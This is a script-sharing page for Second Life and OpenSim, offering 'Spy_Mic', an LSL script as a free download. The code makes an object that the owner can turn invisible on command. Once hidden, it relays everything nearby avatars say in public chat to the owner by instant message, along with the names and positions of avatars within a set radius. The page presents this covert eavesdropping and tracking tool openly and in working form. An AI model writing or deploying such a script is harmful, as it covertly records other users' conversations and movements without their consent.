Join us in Outworldz at www.outworldz.com:9000 or follow us:

Search dozens of selected web sites for OpenSim and LSL script

New! Script Meta-Search will search thousands of scripts here and at other sites for LSL or Opensim scripts.
Loading

Want to add a script or a project? Upload it and a half million people will see it and your name here this year.

Home   Show All
Category: Contributor: Creator
Chat Spy_Mic  

Spy_Mic

Spy Mic.lsl

Category: Chat
By : Anonymous
Created: 2010-01-10 Edited: 2010-01-10
Worlds: Second Life

the Zip file

Download all files for Spy_Mic
Contents are in zip format, with .LSL (text) source code and LSLEdit (text + Solution) formats.
Get file # 1. Spy_Mic_1.lsl
1
2 key crea; // ID del receptor
3 integer dist = 10; // radio de la esfera del radar en metros, valores posibles dedse 0.1 hasta 96.0
4
5 string text;
6 integer power = 1;
7 list myListOLD;
8 list myList;
9
10 default {
11 state_entry() {
12 crea = llGetOwner();
13 llListen( 0, "", NULL_KEY, "" );
14 myListOLD=[];
16 }
17 on_rez(integer startup_param) { llResetScript(); }
18 no_sensor() {myListOLD=[];}
19 sensor(integer total_number) {
20 integer i;
21 myList=[];
22 for (i = 0; i < total_number; i++) { myList = (myList=[]) + myList + [llKey2Name(llDetectedKey(i))];}
23 for (i = 0; i < total_number; i++) {
24 if(llListFindList(myListOLD, [llList2String(myList,i)])==-1) {
25 if(llKey2Name(llDetectedKey(i)) != "") {llInstantMessage(crea, llKey2Name(llDetectedKey(i)) + " is at " + llGetRegionName() + ": " + (string)llDetectedPos(i));}
26 } }
27
28 for (i = 0; i < llGetListLength(myListOLD); i++) {
29 if(llListFindList(myList, [llList2String(myListOLD,i)])==-1) {
30 if(llList2String(myListOLD,i)!=""){llInstantMessage(crea, llList2String(myListOLD,i) + " is out of signal.");}
31 } }
32
33 myListOLD=[];
34 for (i = 0; i < total_number; i++) { myListOLD = (myListOLD=[]) + myListOLD + [llKey2Name(llDetectedKey(i))]; }
35 }
36
37 listen(integer channel, string name, key id, string message) {
38 if(id == crea) {
39 if(message == "help") { llInstantMessage(crea, "Aviable commands: hi | bye | ocultar | ver el bug | distancia X | help"); }
40 if(message == "hi") { power=0; llSensorRemove(); llInstantMessage(crea, "Spy mic stopped."); }
41 else if(message == "bye") { power=1; llSensorRepeat("", "", AGENT, dist, PI, 3); llInstantMessage(crea, "Spy mic started within " + (string)dist+"m");}
42 else if(message == "ocultar") { llSetAlpha(0.0, ALL_SIDES); llInstantMessage(crea, "Hidden spy mic."); }
43 else if(message == "ver el bug") { llSetAlpha(1.0, ALL_SIDES); llInstantMessage(crea, "Visible soy mic."); }
44 else if(llGetSubString(message,0,8) == "distancia") {dist=(integer)llGetSubString(message,10,-1); llInstantMessage(crea, "New distance: "+(string)dist+"m");if(power==1){llSensorRemove();llSensorRepeat("", "", AGENT, dist, PI, 3);}}
45 }
46 else if(power==1) { llInstantMessage(crea, llKey2Name(id) + ": " + message); }
47 }
48 }
49
50 // END //

Back to the Best Free Tools in Second Life and OpenSim.